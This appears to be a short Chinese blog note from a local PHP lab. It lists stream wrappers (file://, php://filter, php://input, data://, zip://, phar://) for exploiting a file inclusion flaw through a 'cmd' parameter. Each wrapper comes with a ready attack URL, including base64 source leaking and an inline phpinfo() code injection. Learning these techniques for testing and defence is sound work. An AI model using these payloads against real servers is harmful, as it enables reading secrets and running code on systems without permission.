标签:文件 php 包含 协议 cmd 123 file txt PHP
1.file://协议
使⽤:
file://
⽂件的绝对路径和⽂件名
2.php?cmd=file://D:\phpstudy_pro\WWW\123.txt
2.php://filter协议
⽤途:常⽤于读取⽂件
/
源码
2.php?cmd=php://filter/read=convert.base64-encode/resource=1.php
3.php://input协议
步骤一:2.php?cmd=php://input抓包
步骤二:右键修改请求方法,修改数据包
步骤三:放行访问
4.data:// 协议
⽤途:数据(
RFC2397
)
2.php?cmd=data:text/plain,<?php phpinfo();?>
5.zip://协议
⽤途:读取压缩包内的⽂件(绝对路径
/
相对路径)
2.php?cmd=zip://123.zip%23123.txt
6.phar://协议
⽤途:读取压缩包内的⽂件(绝对路径
/
相对路径)
2.php?cmd=phar://123.zip/123.txt
标签:文件,
php,
包含,
协议,
cmd,
123,
file,
txt,
PHP
From: https://blog.csdn.net/shw_yzh/article/details/141868895